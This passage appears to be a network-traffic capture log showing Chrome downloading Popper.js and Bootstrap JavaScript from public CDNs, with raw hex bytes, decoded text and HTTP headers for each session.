2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 Data Ascii: t:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.widt
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 Data Ascii: warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instanc
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 Data Ascii: .options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passiv
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 Data Ascii: n o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){retur
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 Data Ascii: n''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c Data Ascii: n o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	104.18.10.207	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 15:44:55 UTC	621	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 15:44:55 UTC	967	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:44:55 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 11/06/2024 23:22:44 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: ccb91cab4761e398420eaeb744190eab CDN-Cache: HIT CF-Cache-Status: HIT Age: 3642595 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 901682a8cb9fc459-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 15:44:55 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bec/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 Data Ascii: fine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defi
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 Data Ascii: :function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isE
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 72 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 Data Ascii: r e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._de
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 26 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e Data Ascii: &&p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._elemen
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 22 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 Data Ascii: "mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-ite
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e Data Ascii: al),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).fin
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 Data Ascii: f(!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 6e 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 Data Ascii: nt(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).re
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 Data Ascii: _DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collap

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49741	104.18.10.207	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 15:44:55 UTC	613	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 15:44:55 UTC	967	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:44:55 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 1 CDN-RequestId: 7fedeed1ac4f734c4f5baf0abe375bbe CDN-Cache: HIT CF-Cache-Status: HIT Age: 1673204 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 901682a8eb3e4388-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 15:44:55 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bec/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
